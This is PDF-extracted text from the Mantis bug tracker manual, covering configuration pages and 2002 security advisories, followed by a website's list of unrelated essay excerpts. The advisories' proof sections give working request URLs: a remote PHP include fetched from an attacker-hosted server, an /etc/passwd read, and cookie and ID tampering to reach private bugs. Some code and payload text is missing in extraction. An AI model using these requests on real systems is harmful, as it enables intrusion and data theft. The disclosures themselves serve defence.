This page allows the definition of global profiles accessible to all users of the system. It is similar to the user definition of a profile consisting of Platform, OS and Version.

Page 74

Manage Configuration
Last Modified: April 22, 2005 05:04AM (Introduced in 1.0.0)

Description
This set of pages control the configuration of the Mantis system. Note that the configuration items displayed may be on a project by project basis. These pages serve two purposes. First, they will display the settings for the particular aspects of the system. If authorized, they will allow a user to change the parameters. They also have settings for what access level is required to change these settings ON A PROJECT basis. In general, this should be left alone, but administrators may want to delegate some of these settings to managers.

Contents
1. Workflow Thresholds 2. Workflow Transitions 3. Email Notifications

Page 75

Workflow Thresholds
Last Modified: April 17, 2005 18:04PM (Introduced in 1.0.0)

Description
This page covers the adjustment of the settings for many of the workflow related parameters. For most of these, the fields are self explanatory and relate to a similarly named setting in the configuration file. At the right of each row is a selector that allows the administrator to lower the access level required to change the particular parameter. The values changeable on this page are: Issues Title Report an Issue Status to which a new issue is set Update an Issue Allow Issue to be closed on Resolve Allow Reporter to close an issue Monitor an issue Handle Issue Assign Issue Move Issue Delete Issue Reopen Issue Allow reporter to reopen Issue Variable $g_report_bug_threshold $g_bug_submit_status Description threshold to report an issue status issue is set to when submitted

$g_update_bug_threshold $g_allow_close_immediately

threshold to update an issue allow close immediately on resolve

$g_allow_reporter_close

allow reporter to close issues they reported threshold to monitor an issue threshold to handle (be assigned) an issue threshold to be in the assign to list threshold to move an issue to another project. This setting is for all projects. threshold to delete an issue threshold to reopen an issue allow reporter to reopen issues they reported status issue is set to when reopened

$g_monitor_bug_threshold $g_handle_bug_threshold $g_update_bug_assign_threshold $g_move_bug_threshold $g_delete_bug_threshold $g_reopen_bug_threshold $g_allow_reporter_reopen

Status to $g_bug_reopen_status which a reopened Issue is set Resolution to $g_bug_reopen_resolution which a reopened Issue is set

resolution issue is set to when reopened

Page 76

Status where an issue is considered resolved Status where an issue becomes readonly Update readonly issue Update Issue Status View Private Issues Set View Status Update View Status Show list of users monitoring issue Set status on assignment of handler Status to set auto-assigned issues to

$g_bug_resolved_status_threshold

status where bug is resolved

$g_bug_readonly_status_threshold

status where bug is read-only (see update_readonly_bug_threshold)

$g_update_readonly_bug_threshold threshold to update an issue marked as read-only $g_update_bug_status_threshold $g_private_bug_threshold $g_set_view_status_threshold $g_change_view_status_threshold threshold to update an issue's status threshold to view a private issue threshold to set an issue to Private/Public threshold needed to update the view status while updating a bug or a bug note threshold to see who is monitoring an issue

$g_show_monitor_list_threshold

$g_auto_set_status_to_assigned

change status when an issue is assigned status issue is set to when assigned

$g_bug_assigned_status

Limit reporter's $g_limit_reporters access to their own issues

reporters can see only issues they reported. This setting is for all projects.

Notes Title Add Notes Update Notes Allow users to edit their own bugnotes Delete Note View private notes Variable $g_add_bugnote_threshold $g_update_bugnote_threshold Description threshold to add a bugnote threshold to edit a bugnote

$g_bugnote_allow_user_edit_delete can a user edit/delete their own bugnotes $g_delete_bugnote_threshold $g_private_bugnote_threshold threshold to delete a bugnote threshold to view a private bugnote

Others
Page 77

View Change Log View Assigned To

$g_view_changelog_threshold threshold to view the changelog $g_view_handler_threshold threshold to see who is handling an issue threshold to view the issue history threshold to send a reminder

View Issue History $g_view_history_threshold Send Reminders $g_bug_reminder_threshold

Page 78

Workflow Transitions
Last Modified: April 17, 2005 18:04PM (Introduced in 1.0.0)

Description
This page covers the status workflow. For most of these, the fields are self explanatory and relate to a similarly named setting in the configuration file. At the right of each row is a selector that allows the administrator to lower the access level required to change the particular parameter. The values changeable on this page are: Issues Title Status to which a new issue is set Status where an issue is considered resolved Status to which a reopened Issue is set Variable $g_bug_submit_status Description status issue is set to when submitted

$g_bug_resolved_status_threshold status where bug is resolved $g_bug_reopen_status status issue is set to when reopened

The matrix that follows has checkmarks where the transitions are allowed from the status on the left edge to the status listed across the top. This corresponds to the $g_enum_workflow array. At the bottom, there is a list of access levels that are required to change the status to the value listed across the top. This can be used, for instance, to restrict those who can close an issue to a specific level, say a manager. This corresponds to the $g_set_status_threshold array and the $g_report_bug_threshold setting.

Page 79

Email Notifications
Last Modified: April 17, 2005 20:04PM (Introduced in 1.0.0)

Description
This page sets the system defaults for sending emails on issue related events. Mantis uses flags and a threshold system to generate emails on events. For each new event, email is sent to: the reporter the handler (or Assigned to) anyone monitoring the bug anyone who has ever added a bugnote the bug anyone assigned to the project whose access level matches a range From this list, those recipients who meet the following criteria are eliminated: the the the the originator of the change, if $g_email_receive_own is OFF recipient either no longer exists, or is disabled recipient has turned their email_on_ preference OFF recipient has no email address extered

The matrix on this page selects who will receive messages for each of the events listed down the left hand side. The first four columns correspond to the first four points listed above. The next columns correspond to the access levels defined. Note that because a minimum and maximum threshold are used, a discontinuous selection is not allowed.

Page 80

Monitor Bug
Last Modified: April 17, 2005 20:04PM (Any)

Description
The monitor bugs feature allows users to subscribe to certain bugs and hence get copied on all notification emails that are sent for these bugs. Depending on the configuration, sending a reminder to a user about a bug can add this bug to the user's list of monitored bugs.

Page 81

Reopen Bug
Last Modified: April 17, 2005 20:04PM (Any)

Description
Re-open bug button is visible in the bug view pages if the user has the appropriate access level and the bug is resolved/closed. Re-opening a bug will allow users to enter a bugnotes for the re-opening reason. The bug will automatically be put into the Feedback status.

Page 82

Delete Bug
Last Modified: April 17, 2005 20:04PM (Any)

Description
The delete bugs button appears on the bug view pages for the users who have the appropriate access level. This allows you to delete an existing bug. This should only be used on frivolous or test bugs. A confirmation screen will prompt you if you really want to delete the bug. Updaters, Developers, Managers, and Administrators can remove bugs (you can also configure this).

Page 83

Close Bug
Last Modified: April 17, 2005 20:04PM (Any)

Description
This is a button that appears on the bug view pages for users that are authorized to close bugs. Depending on the configuration, users may be able to close bugs without having to resolve them first, or may be able to only close resolved bugs. After the button is clicked, the user is redirected to a page where a bugnote maybe added.

Page 84

Assign to Me
Last Modified: April 17, 2005 20:04PM (Any)

Description
This button appears in the bug view pages in case of users with access level that is equal to handle_bug_threshold or higher. When this button is clicked the bug is assigned to the user.

Page 85

Resolve Bug
Last Modified: April 17, 2005 20:04PM (Any)

Description
This option on the View Bugs page allows you to resolve the bug. It will lead you to a page where you can set the resolution state and a duplicate id (if applicable). After choosing that the user can choose to enter a bugnote detailing the reason for the closure. The bug is then set to the Resolved state. The reporter should check off on the bug by using the Close Bug button.

Page 86

News Syndication
Last Modified: April 17, 2005 20:04PM (0.18.2)

Description
News syndication was added in Mantis 0.18.2. The syndication is done using the RSS v2.0 protocol. News syndication is available for: Public Projects Installations with anonymous access

If the above two conditions are not satisfied, then an "Access Denied" message will be prompted. To get access to the News RSS, visit the following page: http://www.example.com/mantis/news_rss.php

Page 87

Customizing Mantis
Last Modified: April 3, 2005 21:04PM (0.18.0)

Description
Note that Mantis is customized through several PHP files. These are read in as the page loads. They must be formatted as PHP files as below: = ADMINISTRATOR ) { return; } # public project accept all users if ( PUBLIC == $t_project_view_state ) { return; } else { # private projects require users to be assigned $t_project_access_level = get_project_access_level( $p_project_id ); # -1 means not assigned, kick them out to the project selection screen if ( -1 == $t_project_access_level ) { print_header_redirect( 'login_select_proj_page.php' ); } else { # passed return; } } } And in view_all_bug_page.php, replace the following lines: $t_where_clause .= ')'; } } else { $t_where_clause = " WHERE project_id='$g_project_cookie_val'"; } # end project selection with the following lines: $t_where_clause .= ')'; } } else { check_access_to_project($g_project_cookie_val); $t_where_clause = " WHERE project_id='$g_project_cookie_val'"; } # end project selection 5. Proof of Vulnerability To take advantage of this vulnerability, the attacker would need to know the project_id of the private project he wishes to attack. This is not terribly difficult to accomplish, as the project_id starts at 1 and increases by one for every project created. The attacker can just try each integer starting at 1, until (s)he finds the one (s)he's looking for. The next step is to log in to Mantis at least once, so that the MANTIS_PROJECT_COOKIE, or however the cookie is called in that particular set-up, is set. The user can then manually change the cookie locally, and fill in the desired project_id. Now all the user has to do is visit /view_all_bug_page.php, and the list of public bugs in that project should be displayed. An alternative method is by forging the HTTP headers, to send the desired cookie value with a request for /view_all_bug_page.php. The results are the same.
Page 170

6. Contact details The latest version of Mantis is always available from: http://mantisbt.sourceforge.net/ The current version is 0.17.4a, which can be downloaded from http://mantisbt.sourceforge.net/download.php3 If you have any questions about this vulnerability, or wish to report another, you can contact the developers at: mailto:mantisbt-security@lists.sourceforge.net This is a private mailinglist, readable only by a few developers. The latest version of this and other advisories can be found at: http://mantisbt.sourceforge.net/security.php3

Page 171

2002-04 Arbitrary code execution vulnerability in Mantis
Last Modified: August 11, 2003 00:08AM (Version 0.15.3 till 0.17.3)

Description
0. Table of Contents 1. 2. 3. 4. 5. 6. 7. Introduction Summary / Impact analysis Affected versions Workaround / Solution Proof of Vulnerability Credit Contact details

1. Introduction Mantis is an Open Source web-based bugtracking system, written in PHP, which uses the MySQL database server. It is being actively developed by a small group of developers, and is considered to be in the beta stage. 2. Summary / Impact analysis Mantis includes code which cooperates with JpGraph to generate some statistical graphs. Some of this code is stored in an include file, summary_graph_functions.php. This file takes care of loading the JpGraph library, using an include() statement. The path to the JpGraph library is stored in the configuration file. However, summary_graph_functions.php does not load the configuration file, but expects other scripts to have done that before including summary_graph_functions.php. A vulnerability opens up when summary_graph_functions.php is opened in a browser. Any malicious user can execute arbitrary PHP code as the webserver user by setting $g_jpgraph_path to a local path or an URL. This vulnerability has been closed in Mantis 0.17.4. 3. Affected versions The following versions are known to be affected: Mantis 0.17.3 Mantis 0.17.2 Mantis 0.17.1 Mantis 0.17.0 Mantis 0.16.1 Mantis 0.16.0 Mantis 0.15.12 Mantis 0.15.11 Mantis 0.15.10 Mantis 0.15.9 Mantis 0.15.8 Mantis 0.15.7 Mantis 0.15.6 Mantis 0.15.5 Mantis 0.15.4 Mantis 0.15.3
Page 172

The following versions are known to be unaffected: Mantis 0.17.4a Mantis 0.17.4 Any version below Mantis 0.15.3 4. Workaround / Solution Mantis 0.17.4 adds various checks which prevent this vulnerability. All users are recommended to upgrade to this version as soon as possible. If an upgrade is not possible, the vulnerability can be closed by inserting the following lines at the top of summary_graph_functions.php: if ( isset($HTTP_GET_VARS['g_jpgraph_path']) || isset($HTTP_POST_VARS['g_jpgraph_path']) || isset($HTTP_COOKIE_VARS['g_jpgraph_path']) ) { exit; } 5. Proof of Vulnerability To exploit this vulnerability, an attacker only has to store the PHP code (s)he wishes to execute in a textfile, make this available on a webserver accessible by the Mantis installation and point the $g_jpgraph_path variable to that location. For example, we create a file with the following content: We make this file available on a webserver, for example at http://server.mynetwork.net/listings.txt If the Mantis installation does not have access to the internet, the file should be stored on an internal server. We then point our browser to http://mantis.server.com/mantis/summary_graph_functions.php?g_jpgraph_path=http%3A% 2F%2Fserver.mynetwork.net%2Flistings.txt%3F This will execute the following call: include('http://server.mynetwork.net/listings.txt?jpgraph.php'); This instructs PHP to download listings.txt and parse it as a PHP script. In this case, the browser should print a file listing of the current directory. 6. Credit This vulnerability was reported by Joao Gouveia (tharbad@kaotik.org). 7. Contact details The latest version of Mantis is always available from: http://mantisbt.sourceforge.net/ The current version is 0.17.4a, which can be downloaded from http://mantisbt.sourceforge.net/download.php3 If you have any questions about this vulnerability, or wish to report another, you can contact the developers at:
Page 173

mailto:mantisbt-security@lists.sourceforge.net This is a private mailinglist, readable only by a few developers. The latest version of this and other advisories can be found at: http://mantisbt.sourceforge.net/security.php3

Page 174

2 0 0 2 -0 5 A r b i t r a r y c o d e e x e c u t i o n a n d f i l e reading
Last Modified: August 11, 2003 00:08AM (Mantis 0.17.0 till 0.17.3)

Description
0. Table of Contents 1. Introduction 2. Summary / Impact analysis 3. Affected versions 4. Workaround / Solution 5. Proof of Vulnerability 5.1 Arbitrary code execution 5.2 Displaying local files 6. Credit 7. Contact details 1. Introduction Mantis is an Open Source web-based bugtracking system, written in PHP, which uses the MySQL database server. It is being actively developed by a small group of developers, and is considered to be in the beta stage. 2. Summary / Impact analysis Mantis allows the user to configure a file to be included at the top or bottom, a file which contains the CSS stylesheets and a file which contains meta tags. These files are set in default/config_inc2.php, and can be overridden in config_inc.php. For some obscure reason, config_inc2.php only initialised the variables if it wasn't already set. This means that someone can set either $g_bottom_include_page, $g_top_include_page, $g_css_include_file or $g_meta_include_file using GET/POST parameters, or through a cookie. Not all of these can be exploited to execute arbitrary code but all of them can be used to read any file on the server readable to the webserver user. Mantis 0.17.4 removes the isset() checks from default/config_inc2.php and checks whether any of the four variables were set by a user. The latter checks are added to ensure that even when someone has used default/config_inc2.php to set configuration values, this vulnerability will still be closed. Mantis installations which override all of the four previously mentioned variables in their config_inc.php are not affected. Note that an account to the Mantis installation is not required to exploit this vulnerability, as login_page.php and core_html_API.php are vulnerable as well. 3. Affected versions The following versions are known to be affected: Mantis 0.17.3 Mantis 0.17.2 Mantis 0.17.1 Mantis 0.17.0
Page 175

The following versions are known to be unaffected: Mantis 0.17.4a Mantis 0.17.4 Any version below Mantis 0.17.0 (*) * = Except when the mentioned variables are not initialised anywhere, which shouldn't occur if a seperate config_ing.php file is used. 4. Workaround / Solution Mantis 0.17.4 removes the isset() checks, and some paranoia checks which prevent this vulnerability. All users are recommended to upgrade to this version as soon as possible. If an upgrade is not possible, the vulnerability can be closed by inserting the following lines in core_API.php: if ( isset($HTTP_GET_VARS['g_top_include_page']) || isset($HTTP_POST_VARS['g_top_include_page']) || isset($HTTP_COOKIE_VARS['g_top_include_page']) ) { exit; } if ( isset($HTTP_GET_VARS['g_bottom_include_page']) || isset($HTTP_POST_VARS['g_bottom_include_page']) || isset($HTTP_COOKIE_VARS['g_bottom_include_page']) ) { exit; } if ( isset($HTTP_GET_VARS['g_css_include_file']) || isset($HTTP_POST_VARS['g_css_include_file']) || isset($HTTP_COOKIE_VARS['g_css_include_file']) ) { exit; } if ( isset($HTTP_GET_VARS['g_meta_include_file']) || isset($HTTP_POST_VARS['g_meta_include_file']) || isset($HTTP_COOKIE_VARS['g_meta_include_file']) ) { exit; } 5. Proof of Vulnerability 5.1 Arbitrary code execution To execute arbitrary PHP code using this vulnerability, an attacker only has to store the PHP code (s)he wishes to execute in a textfile, make this available on a webserver accessible by the Mantis installation and point the $g_meta_include_file or the $g_css_include_file variable to that location. For example, we create a file with the following content: We make this file available on a webserver, for example at http://server.mynetwork.net/listings.txt If the Mantis installation does not have access to the internet, the file should be stored on an internal server. We then point our browser to
Page 176

http://mantis.server.com/mantis/login_page.php? g_meta_include_file=http://server.mynetwork.net/listings.txt Any Mantis page that displays something will do. However, login_page.php does not require an account. This will execute the following call: include('http://server.mynetwork.net/listings.txt'); This instructs PHP to download listings.txt and parse it as a PHP script. In this case, the browser should print a file listing of the current directory. 5.2 Displaying local files It is also possible to view any file available to the web user. The method is more or less the same, although in this case we do not let the server include a file we wrote, but just a local file we specify: http://mantis.server.com/mantis/login_page.php?g_css_include_file=/etc/passwd This will display the specified file if the webserver user has permission to read that file. This vulnerability can be exploited using any of the 4 variables specified in section 2. 6. Credit This vulnerability was reported by Andrew Johnson and independently by the Debian Security Team. 7. Contact details The latest version of Mantis is always available from: http://mantisbt.sourceforge.net/ The current version is 0.17.4a, which can be downloaded from http://mantisbt.sourceforge.net/download.php3 If you have any questions about this vulnerability, or wish to report another, you can contact the developers at: mailto:mantisbt-security@lists.sourceforge.net This is a private mailinglist, readable only by a few developers. The latest version of this and other advisories can be found at: http://mantisbt.sourceforge.net/security.php3

Page 177

2 0 0 2 -0 6 P r i v a t e b u g s a c c e s s i b l e i n M a n t i s
Last Modified: August 11, 2003 00:08AM (Up to Mantis 0.17.3)

Description
0. Table of Contents 1. 2. 3. 4. 5. 6. 7. Introduction Summary / Impact analysis Affected versions Workaround / Solution Proof of Vulnerability Credit Contact details

1. Introduction Mantis is an Open Source web-based bugtracking system, written in PHP, which uses the MySQL database server. It is being actively developed by a small group of developers, and is considered to be in the beta stage. 2. Summary / Impact analysis There are several locations where all information about a bug is listed: - View Bug (simple and advanced) - Update Bug (simple and advanced) None of these locations checked whether a user was allowed to see a bug. This allowed any user to see an arbitrary bug by entering the bug ID in the URL or in the 'Jump'-box. The user has to know the bug ID but this is not difficult to come by as the bug ID is an autoincrementing number. Mantis 0.17.5 adds code to the four locations listed above, which checks whether the user has the appropriate permissions. 3. Affected versions The following versions are known to be affected: Mantis 0.17.4a Mantis 0.17.4 Mantis 0.17.3 The following versions are known to be unaffected: Mantis 0.17.5 The following versions are suspected to be affected: Any version below Mantis 0.17.3 4. Workaround / Solution Mantis 0.17.5 adds appropriate permissions checks. All users are urged to upgrade to this version as soon as possible. If an upgrade is not possible, the following patch (against Mantis 0.17.4a) will close the vulnerability: diff -u -r mantis-0.17.4a/bug_update_advanced_page.php mantis0.17.5/bug_update_advanced_page.php --- mantis-0.17.4a/bug_update_advanced_page.php Mon May 20 03:34:20 2002
Page 178

+++ mantis-0.17.5/bug_update_advanced_page.php Fri Aug 23 11:55:52 2002 @@ -26,6 +26,9 @@ $result = db_query( $query ); $row = db_fetch_array( $result ); extract( $row, EXTR_PREFIX_ALL, "v" ); + + # if bug is private, make sure user can view private bugs + access_bug_check( $f_id, $v_view_state ); $query = "SELECT * FROM $g_mantis_bug_text_table diff -u -r mantis-0.17.4a/bug_update_page.php mantis-0.17.5/bug_update_page.php --- mantis-0.17.4a/bug_update_page.php Mon May 20 03:34:20 2002 +++ mantis-0.17.5/bug_update_page.php Fri Aug 23 11:56:06 2002 @@ -27,6 +27,9 @@ $result = db_query( $query ); $row = db_fetch_array( $result ); extract( $row, EXTR_PREFIX_ALL, "v" ); + + # if bug is private, make sure user can view private bugs + access_bug_check( $f_id, $v_view_state ); $query = "SELECT * FROM $g_mantis_bug_text_table diff -u -r mantis-0.17.4a/core_user_API.php mantis-0.17.5/core_user_API.php --- mantis-0.17.4a/core_user_API.php Sun Aug 18 08:57:20 2002 +++ mantis-0.17.5/core_user_API.php Fri Aug 23 11:52:43 2002 @@ -577,6 +577,23 @@ } } # -------------------+ # check to see if the current user has access to the specified bug. This assumes that the bug exists and + # that the user has access to the project (check_bug_exists() and project_access_check()). + function access_bug_check( $p_bug_id, $p_view_state='' ) { + global $g_private_bug_threshold; + + if ( empty ( $p_view_state ) ) { + $t_view_state = get_bug_field( $p_bug_id, 'view_state' ); + } else { + $t_view_state = (integer)$p_view_state; + } + + # Make sure if the bug is private, the logged in user has access to it. + if ( ( $t_view_state == PRIVATE ) && ! access_level_check_greater_or_equal( $g_private_bug_threshold ) ) { + print_header_redirect( 'logout_page.php' ); + } + } + # -------------------########################################################################### # User Information API ########################################################################### diff -u -r mantis-0.17.4a/view_bug_advanced_page.php mantis0.17.5/view_bug_advanced_page.php --- mantis-0.17.4a/view_bug_advanced_page.php Mon May 20 03:34:21 2002 +++ mantis-0.17.5/view_bug_advanced_page.php Fri Aug 23 11:56:29 2002 @@ -22,6 +22,9 @@ $result = db_query( $query ); $row = db_fetch_array( $result );
Page 179

extract( $row, EXTR_PREFIX_ALL, "v" ); + + + # if bug is private, make sure user can view private bugs access_bug_check( $f_id, $v_view_state );

$query = "SELECT * FROM $g_mantis_bug_text_table diff -u -r mantis-0.17.4a/view_bug_page.php mantis-0.17.5/view_bug_page.php --- mantis-0.17.4a/view_bug_page.php Mon May 20 03:34:21 2002 +++ mantis-0.17.5/view_bug_page.php Fri Aug 23 11:57:00 2002 @@ -22,6 +22,9 @@ $result = db_query( $query ); $row = db_fetch_array( $result ); extract( $row, EXTR_PREFIX_ALL, "v" ); + + # if bug is private, make sure user can view private bugs + access_bug_check( $f_id, $v_view_state ); $query = "SELECT * FROM $g_mantis_bug_text_table 5. Proof of Vulnerability The easiest way to confirm this vulnerability is by logging on to your Mantis installation with a low-priviledge user and enter the bug ID of a bug that should not be readable by that user in the 'Jump' box. Older versions without a 'Jump' box can be exploited by changing the f_id parameter to view_bug_page.php, view_bug_advanced_page.php, bug_update_page.php or bug_update_advanced_page.php. 6. Credit This vulnerability was reported anonymously through our Bug Tracking System. 7. Contact details The latest version of Mantis is always available from: http://mantisbt.sourceforge.net/ The current version is 0.17.4a, which can be downloaded from http://mantisbt.sourceforge.net/download.php3 If you have any questions about this vulnerability, or wish to report another, you can contact the developers at: mailto:mantisbt-security@lists.sourceforge.net This is a private mailinglist, readable only by a few developers. The latest version of this and other advisories can be found at: http://mantisbt.sourceforge.net/security.php3

Page 180

2 0 0 2 -0 7 B u g s i n p r i v a t e p r o j e c t s l i s t e d o n ' V i e w Bugs'
Last Modified: August 11, 2003 00:08AM (Mantis 0.17.0 till 0.17.4a)

Description
0. Table of Contents 1. 2. 3. 4. 5. 6. 7. Introduction Summary / Impact analysis Affected versions Workaround / Solution Proof of Vulnerability Credit Contact details

1. Introduction Mantis is an Open Source web-based bugtracking system, written in PHP, which uses the MySQL database server. It is being actively developed by a small group of developers, and is considered to be in the beta stage. 2. Summary / Impact analysis Mantis allows administrators to set certain projects private. This restricts its access to users who have been explicitly added to that project. There was a bug in Mantis which caused the 'View Bugs' page to list bugs from both public and private projects when no projects were accessible to the user. This has been patched in Mantis 0.17.5. 'View Bugs' lists only a summary of the bugs. This does not include additional information such as the steps to reproduce the bug and any bugnotes that may have been added. 3. Affected versions The following versions are affected: Mantis 0.17.4a Mantis 0.17.4 Mantis 0.17.3 Mantis 0.17.2 Mantis 0.17.1 Mantis 0.17.0 4. Workaround / Solution Mantis 0.17.5 patches this problem. Users are suggested to upgrade to this version when possible. If an upgrade is not possible, the following patch (against Mantis 0.17.4a) will close the vulnerability (although uncleanly): --- mantis-0.17.4a/view_all_bug_page.php Mon Aug 19 07:18:54 2002 +++ mantis-0.17.5/view_all_bug_page.php Fri Aug 23 11:57:50 2002 @@ -90,7 +90,7 @@ $result2 = db_query( $query2 ); $project_count = db_num_rows( $result2 ); if ( 0 == $project_count ) {
Page 181

+ } else {

$t_where_clause = " WHERE 1=1"; $t_where_clause = " WHERE 0=1"; $t_where_clause = " WHERE ("; for ($i=0;$i

Similar Documents

Free Essay

Praying Mantis

...Praying Mantis There are three stages in a Praying Mantis’s life, the Egg, the Nymph, and the Adult. A mantis can lay up to 10-400 eggs at a time, they lay their eggs in Autumn. The eggs come out in a foamy, brown case that protects them from weather and enemies. Once these eggs hatch, the praying mantis is now a Nymph. On average, a Nymph sheds 5 times until it is an adult; each time it sheds it gets bigger. The Nymphs look like adults, just smaller, brown, and without wings. The Nymphs eat small insects such as other Nymphs. Once the Praying Mantis is shedding for the final time, they grow wings and a new, green colored exoskeleton. This insect goes thru something called Incomplete Metamorphosis. This means this animal only goes thru the Egg, Nymph, and adult stages. Dragonflies, grasshoppers, and damselflies are other examples of insects that don’t go thru a complete metamorphosis. Once the insect is fully grown, it eats hummingbirds-or any nesting birds, rats/mice, they are also very good pest exterminators, which make them great for agriculture. The biggest mantis in North America Chinese Mantises brought to the United States in 1895. They brought the Mantises to North America for agriculture. The biggest Praying Mantis species throughout the world is the Tenodera and the Archimantis. The largest Mantis ever seen was of 18 inches. There is also something very interesting about Mantises, they have one ear on their stomach which picks up ultrasonic sounds...

Words: 531 - Pages: 3

Premium Essay

Mantis Shrimp Research Paper

...IN THE MARVELOUSLY sensitive eyes of mantis shrimps, scientists have found cells that could inspire an overhaul of humanity’s comparatively clumsy communications hardware. Mechanical analogs of their eyes “are among the most important and commonly used optical components, and the cellular structure we describe significantly outperforms these current optics,” write researchers in a study published Sunday in Nature Photonics. Mantis shrimps are reef-dwelling marine crustaceans who trace their evolutionary lineage straight back to the Cambrian age 500 million years ago, before vertebrates had even evolved. They’re so biologically unique that biologists call them “shrimps from Mars.” They possess the animal kingdom’s most complicated eyes, capable...

Words: 324 - Pages: 2

Premium Essay

Snapping Shrimp Research Paper

...“Gun- Snapping-Shrimp” The snapping shrimp is considered the loudest thing in shallow water. In which they let off a loud popping noise. Snapping shrimp are also known by “pistol shrimp”. Living in burrows of the costal ocean making crackling sounds everywhere you turn. The snapping shrimp typically grows 1-2 inches and is a part of the Alpheidae family. Their tiny critter is what produces the “sound louder than a jet engine”. You can find these creatures in the tropical seas residing in the shallow water; the Mediterranean has a great number of them. Snapping shrimp consist of a color that looks to be dirty-green with one big claw and a smaller sized claw. The overly larger claw can sometimes be bigger than the snapping shrimp body making...

Words: 323 - Pages: 2

Premium Essay

Marching Band Research Paper

...Everything went well until 11th grade when I came across the worst student I have ever interacted with, who I will refer to as Mantis. I first met Mantis at a band camp during the summer. At first glance, they seemed like normal ninth graders. They were outgoing and would talk to everyone, especially me. I assumed it was because they thought I was funny, so I enjoyed their company. However, they would quickly become...

Words: 548 - Pages: 3

Premium Essay

Surrealist Manifesto Essay

...female archetype so commonly used was the symbol of a mantis, grasshopper or locust, collectively called “mandit” symbolism. How did the symbol of the mantis encourage misogynistic overtones within the Surrealist Movement? Collective ideas such as this do not arise out of pure innate hatred, the Surrealists weren’t all monsters who abused women, but instead expressed their sexual fears and frustrations in a visual form. Therefore, the exploration of the motivations of surrealist work provides a greater understanding for how this view manifested itself, which, though it may not excuse the disturbing nature of the work nor the exclusionary nature of the movement; it does provide a reason why. Though a number of factors are responsible for the overtly misogynistic characteristics of Surrealist art, how did the symbolism of the mantis facilitate the views of the artists in a visual form? Origins of Mantis Symbolism Biologically, the associations of the “mandit” originated from the violent mating ritual in which the female will cannibalize her partner during or after intercourse. The female has even been known to decapitate the male at the start of intercourse, which surprisingly does not impede fertilization, as the male body performs the sex act automatically. (Markus) With the preexisting idea of the “femme fatale” and other concepts themed around sexuality and seductive women being linked to death, the symbol of the mantis easily attracted the Surrealists, whose movement already...

Words: 1753 - Pages: 8

Free Essay

No Paper

...Diverse Animals SCI/230 Joseph Keen 11/13/2011 The animal Kingdom encompasses all sentient organisms on planet Earth, the study of which takes years to fully comprehend and master. There are many orders, types, and species within this vast grouping, and while some types of animals are commonly understood, the characteristics unifying members of other groups can be more elusive. This paper seeks to better identify the defining factors of these groups and illustrate their differences. For the purposes of comparison, eight animals have been chosen for this paper as examples by which to better understand the differences between mammals, insects, bids, and echinoderms. Mammals are the most well-studied class in the Kingdom Animalia, but are not even close to the largest on the planet. They are defined by three common characteristics unique to this class: hair, mammary glands, and 3 middle ear bones. Panther pardus, or the Leopard of Africa and Asia are a classic example of this class, having all three defining characteristics. Simia paniscus, or Spider Monkey, by comparison, is also covered in hair, nurses it’s young, and contains 3 middle ear bones. Both species also share four working legs, and can be found in multiple types of environments including tropical, savannah, dense forest, and in captivity. While both can be found among the trees, spider monkeys make their homes near the tree tops, while the leopard prefers to keep closer to the ground. Leopards are among the...

Words: 1110 - Pages: 5

Premium Essay

Reaction Paper

...Reaction Paper-Fiction short story The short story has a very interesting storyline that takes place in a seemingly small town that has animals as its population. All the animals come together to watch the criminal mouse be hung for his crime. Some of the animals that play major roles in the story are a large beetle, raccoon, and a praying mantis. The specifics of each animal in the hanging are “A raccoon, wearing the traditional black mask, was the executioner…..A large praying mantis was in charge of the religious end of the ceremonies.” (Barnet, Cain, & Burto, 2010) The animals during the execution had a hard time watching the mouse death. “It was all so touching that a cat, who had brought her child in her mouth, shed several large tears. They rolled down on to the child’s back and he began to squirm and shriek, so that the mother thought that the sight of the hanging had perhaps been too much for him.” (Barnet, Cain, & Burto, 2010) The large beetles were the soldiers because of their armor shells. The raccoons as executioner, because of the black mask the raccoons are made with. A praying mantis had the duty of taking charge of the religious ceremony, since they are “praying” since it is part of their name and is linked to religion. Not knowing what the mouse did criminally, he seemed remorseful. All the animals in the crowd seemed to be happy that the mouse was about to get death. The writer implies that the mouse has done something serious to get death as a penalty...

Words: 760 - Pages: 4

Premium Essay

Claire Civa Research Paper

...“I always try looking on the positive side of things.” Claire Civa is the nicest person on Earth, along with having a bright smile and the power to make you question all of your wrong choices in life, she’s an amazing example of an upstander. Claire was born in Downtown Dallas and since then she has had three people she’s considered upstanders, first, “my mother, because she was the one who told me to always try to be nice to others, and be yourself, second, my father, he taught me how a lot of things work in life. He gives me advice and teaches me what to do in certain situations.” And of course, everyone’s favorite, “Jim Carrey, not only is he a goofball in real life but he also is very encouraging, as in helping others and fans. I’ve grew...

Words: 330 - Pages: 2

Free Essay

Social Media

...Social Media Instagram, Facebook, Twitter, these and many more are examples of social media sites. These sites have been an aid to society and also a thorn in its side. Social media Social media creates new social connections and promote athletes. Social media is a good way to meet new people and to reconnect with old friends and or family. A study showed that 70% of adults found some of their family members online (pros and cons of social media). Also 57% of teenagers have made new friends on some type of social media network. Social media has also blown up the careers of some sports stars. Jeremy Lin was a big sensation back in 2012, everywhere you went we would seem to hear his name. Social media affected his life after one good game he had. It was because of social media that everyone heard of him, because he was a nobody before that. Another example of social media blowing up sport stars is, in 2012 Notre Dame all-star linebacker mante teo and his “girlfriend” death. That had met though some social media site and never met, they dated for about two years and found out she died of cancer (Clemmitt, 83). Later it was reported that she was never real and it was just a big hoax (Burke and Dickey.). This could also be related as a thing that will be talking about later. Many people believe that social media has gotten rid of face to face communication. The way that technology is now, it has change the way we talk to people, and engages with others. Some believe that something...

Words: 586 - Pages: 3

Free Essay

Internet Saftey

...The internet is a system of networks to provide information and resources across the world. The internet gives endless options of resources and information that could be used in various ways. Even though the internet is convenient and necessary, there is little security on the web. The internet is dangerous and provides little security for the people who go on it. There are so many ways that someone could be harmed from using the internet. Some of these dangers can be prevented while others are unstoppable. There are pedophiles, as well as hackers that use the World Wide Web to get what they want, since there is little security to stop them. Novice level hackers can be stopped by spyware installed on a computer to prevent low level viruses. However, someone faking their identity on the internet is unstoppable because there is no way of seeing if they are telling the truth. Social media is one dangerous component of the internet that has little security. Sites such as Facebook, Twitter, and Instagram are all public. This means that all the information that is posted on this website can be seen by anyone who is able to go online. Once a profile is created on one these websites, they are automatically created as public accounts. The person creating these websites would need to manually make their accounts private. Most users would not know to do this and anything they put on their accounts can be viewed by anyone. Additionally, anything that is put on the internet is permanently...

Words: 1537 - Pages: 7

Premium Essay

Andor's Masks: A Narrative Fiction

